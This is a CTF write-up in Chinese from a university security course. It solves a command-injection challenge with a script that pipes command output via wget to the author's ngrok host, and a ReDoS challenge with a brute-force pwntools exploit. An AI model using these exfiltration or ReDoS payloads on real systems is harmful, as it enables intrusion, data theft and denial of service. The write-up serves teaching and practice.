程式安全 Computer Security 2023 FALL tool

目前應該是按照我解出的順序整理 writeup 。

發現平臺被默默放上兩題,但是分數都是 0 ,應該是工具相關的練習

  • tool, web-practice, 0

  • tool, pwntools-practice, 0

tool, web-practice, 0

http://edu-ctf.csie.org:54321/

這題有給網頁後端的 source code 如下:

import os
import http.server
import socketserver
from datetime import datetime

PORT = 54321

class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f'GET {self.client_address[0]}:{self.client_address[1]} {self.path}')
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(b'Hello!\n')

def do_POST(self):
size = int(self.headers['Content-Length'])
body = self.rfile.read(size)
print(f'{datetime.now()} POST {self.client_address[0]}:{self.client_address[1]} {self.path} {body!r}')
self.send_response(200)
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(b'Hello!\n')
pid = os.fork()
if pid == 0:
os.system(body.decode())
exit(0)


with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()

這邊很明顯就是 os.system(body.decode()) 有問題, body 的東西會直接被拿來執行。

解題思路就是,送指令過去,該指令的回顯可以用自己的 server 來接 ( 可用 ngrok 讓外網連接得到自己的 server ) 。

送 exploit command 到目標 server 的 exp.py :

import requests

url = "http://edu-ctf.csie.org:54321"

cmd_haha = input("Command: ")
data = '''
| base64 -w 0 | xargs -I {} wget -qO- "https://5568-1-164-123-196.ngrok-free.app/{}"
'''
data = data.replace("\n", "")
data = cmd_haha + data

print("data:", data)

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
}

response = requests.post(url, data=data, headers=headers)

print("\nResponse from server:")
print(response.text)

上述指令會接著讓目標 server 對我的 server 做出請求訪問,我這邊架好一個後端 ( server.py ) ,解析請求,並且印出 flag :

from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/webhook', methods=['POST'])
def webhook():
data = request.get_data(as_text=True)
print(f"Received message: {data}")

return 'Message received'

@app.route('/<path:path_variable>', methods=['GET'])
def index(path_variable):
request_method = request.method
request_headers = dict(request.headers)
request_data = request.data.decode('utf-8')
request_args = request.args
request_form = request.form

print("Request Method:", request_method)
print("Request Headers:", request_headers)
print("Request Data:", request_data)
print("Request Args:", request_args)
print("Request Form Data:", request_form)

print("path_variable:", path_variable)

print("decode -->", base64.b64decode(path_variable))

return 'Hello, this is the index page'

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=True)

tool, pwntools-practice, 0

nc edu-ctf.csie.org 54322

這題有附上 source code main.py :

#!/usr/bin/env python3

import time
from timeit import timeit
import random
import hashlib
import re
import sys
import signal

from secret import *
sys.setrecursionlimit(10010)


def get_evidence(data: str):
r = str(random.randint(0, 2**32 - 1))
h = hashlib.sha256(f'{r}||{data}||{secretkey}'.encode()).hexdigest()
return f'{r}||{data}||{h}'


def handler(signum, frame):
raise TimeoutError

signal.signal(signal.SIGALRM, handler)


def test_slow(func, *args, flag):
try:
measure = timeit(lambda: hashlib.md5(str(random.randint(0, 2**24)).encode()), number=10000)
wait = measure * 80
signal.alarm(int(wait))
ret = func(*args)
time.sleep(wait % 1)
signal.alarm(0)
except TimeoutError:
print(f'Good for you! The flag is {flag}')
exit()

return ret


def proof_of_work():
r = random.randint(0, 2**24 - 1)
h = hashlib.md5(f'{r}'.encode()).hexdigest()[0:8]
print(f'give me `i` such that md5(i)[0:8] == "{h}" : ', end='')
i = input()
if hashlib.md5(f'{i}'.encode()).hexdigest()[0:8] != h:
print('nope')
exit()


def menu():
print('-------------------------------------------------')
print('| Welcome to my service! I am Sophia. Working |')
print('| is my favorite things to do. You should work |')
print('| hard to catch up with me. I mean, work very, |')
print('| very hard. |')
print("| Hurry up! I don't have any time to waste on |")
print('| you! |')
print('| |')
print('| 1) the funniest and quickest sorting service |')
print('| 2) send your love letter to me |')
print('| 3) doing work is my favorite pasttime <3 |')
print('-------------------------------------------------')


def happy_qsort():
def qsort(arr: list):
n = len(arr)
if n == 0:
return arr
pivot = arr[n // 2]
l = [ i for i in arr if i < pivot ]
g = [ i for i in arr if i > pivot ]
cnt = arr.count(pivot)
return qsort(l) + [pivot] * cnt + qsort(g)

print('Give me the array to be sorted (blank separated) : ', end='')
s = input()
try:
assert len(s) < 35000 # need tuning
arr = [ int(i) for i in s.split() ]
except:
print('bad')
exit()
ret = test_slow(qsort, arr, flag=flag)
print(f'Here is the sorted array: {ret}')


def marvelous_regex():
print('What do you want to tell Sophia?')
print('format: "Dear Sophia, `blahblahblah`. Best wishes, `yourname`."')
print(': ', end='')
s = input()
if len(s) > 1000:
print('Sophia has no time to read such long letter!')
exit()
pattern = re.compile(r'^Dear Sophia, (.*柴魚){10,15}.*\. Best wishes, ([a-zA-Z0-9]+ ?)+\.$')
if test_slow(pattern.match, s, flag=flag):
print('Okay, got your message. But Sophia fed her 柴魚 with your letter QQ')
else:
print('You don\'t even know how to write a letter!')


def want_more_POW():
n = 10
rate = n / timeit(proof_of_work, number=n)
rate_str = str(rate)
print(f'Wow! You can finish {rate_str} POWs per second!')
print(f'Here is the certificate: {get_evidence(rate_str)}')
if rate > 150:
print(f'Good for you! The flag is {flag}')


def main():
try:
proof_of_work()
menu()
op = input('your choice: ')
if op == '1':
happy_qsort()
elif op == '2':
marvelous_regex()
elif op == '3':
want_more_POW()
else:
print('bye~')
except EOFError:
pass


if __name__ == '__main__':
main()

分析上述程式碼,如果先不看 proof_of_work 的話,我是有看到幾個可能可以拿到 flag 的路徑:

  1. 利用 happy_qsort 或者 marvelous_regex 來觸發 test_slow 的 TimeoutError 來拿到 flag 。

  2. 利用快速解開 want_more_POW 來拿到 flag 。

經過多次實驗,目前覺得使用 marvelous_regex 來觸發 test_slow 的 TimeoutError 來拿到 flag 算是比較可行的。

為何上述方法可行?當我們選擇 marvelous_regex 來觸發 test_slow 的 TimeoutError 來拿到 flag 這條路徑時,我們必須要先確保正規表達式解析的時間夠長 ( 又不會太長,不然找 flag 會找超久 ) ,接著看到 test_slow 的部分程式碼:

measure = timeit(lambda: hashlib.md5(str(random.randint(0, 2**24)).encode()), number=10000)
wait = measure * 80
signal.alarm(int(wait))
ret = func(*args)
time.sleep(wait % 1)
signal.alarm(0)

上述程式碼說明了,只要 wait 夠大,大到可以讓 signal.alarm 開始計時 ( 0 應該是代表關閉,所以這邊目標我想讓他大於等於 1 ) ,接著根據 marvelous_regex 程式邏輯會跑 marvelous_regex 的正規表達式處理,也就是 pattern.match ,最後只要讓跑正規表達式的時間大於 signal.alarm 開始計時時設定的時間就可以觸發 TimeoutError ,進而拿到 flag 。

到這邊要先賭一下遠端 server 的 timeit(lambda: hashlib.md5(str(random.randint(0, 2**24)).encode()), number=10000) * 80 會不會有超過 1 秒的可能性,而我在我主機上測試是 "有機會" 超過 1 秒,不過可能要經過多次嘗試,碰碰看運氣。

要達到上述所說明的時間需要慢慢調出送給 ^Dear Sophia, (.*柴魚){10,15}.*\. Best wishes, ([a-zA-Z0-9]+ ?)+\.$ 最剛剛好的字串,讓其執行時間夠久,又不會超過 signal.alarm 開始計時時設定的時間太多以免跑太久。

調整字串的部分可以用以下這個網站,我先利用它造出可能會解很久的字串,接著慢慢調整字串讓它剛好執行一段時間又不要太久:

https://devina.io/redos-checker

那現在應該就剩下解決 proof_of_work 的問題,而這題其實直接暴力破解即可。

我的 exp.py :

from pwn import *
import time
import hashlib

# GDB:
# python3 exp.py GDB
# REMOTE:
# python3 exp.py REMOTE server_ip server_port
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
starti
'''.format(**locals())

# Set up pwntools for the correct architecture
# exe = "BIN_FILE_PATH"
# This will automatically get context arch, bits, os etc
# elf = context.binary = ELF(exe, checksec=True)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'error'

# NEED TO GO INTO TMUX FIRST!
# print("NEED TO GO INTO TMUX FIRST!")
# context.terminal = ['tmux', 'splitw', '-h']

# ========== Exploit ( start ) ==========

counter = 0
counter_real = 0

real_start_time = time.time()

while True:

counter = counter + 1

try:
io = start()

md5_8 = str(io.recvuntil(b": ").replace(b"give me `i` such that md5(i)[0:8] == \"", b"").replace(b"\" : ", b""))[2:-1]
# print("origin md5:", md5_8)

ans = ""
for i in range(0,9999999999999999):
md5=hashlib.md5(str(i).encode("utf-8")).hexdigest()
if md5[0:8]==md5_8[0:8]:
# print(i)
ans=str(i)
break

# print("ans:", ans)

io.send(bytes(ans, 'utf-8') + b"\n")
io.sendafter(b"your choice: ", b"2\n")
payload = "Dear Sophia, 柴魚柴魚柴魚柴魚柴魚柴魚柴魚柴魚柴魚柴魚. Best wishes, esssssssssssssssssssssD".encode()
# print(payload)

start_time = time.time()
io.sendafter(b"\n: ", payload + b"\n")
res = io.recvline(timeout=3)
end_time = time.time()

counter_real = counter_real + 1

if "Good for you" in res.decode('utf-8'):
print("Round:", counter, "Round_real:", counter_real, "--> Got flag!!!")
print("res:", res)
print("regex sec:", end_time - start_time)
print("Total program exec time:", time.time() - real_start_time)
print()
break
else:
print("Round:", counter, "Round_real:", counter_real, "--> Try again...")
print("res:", res)
print("regex sec:", end_time - start_time)
print("Total program exec time:", time.time() - real_start_time)
print()

io.close()

except:
io.close()
# ========== Exploit ( end ) ============

根據我上述的程式碼,我最後拿到 flag 的時候大概是在 Round: 12473 Round_real: 274 的時候,正規表達式分析大概跑了 1.023695945739746 秒,而總共跟 server 互動的時間大約是 2632.835682153702 秒。

My Submission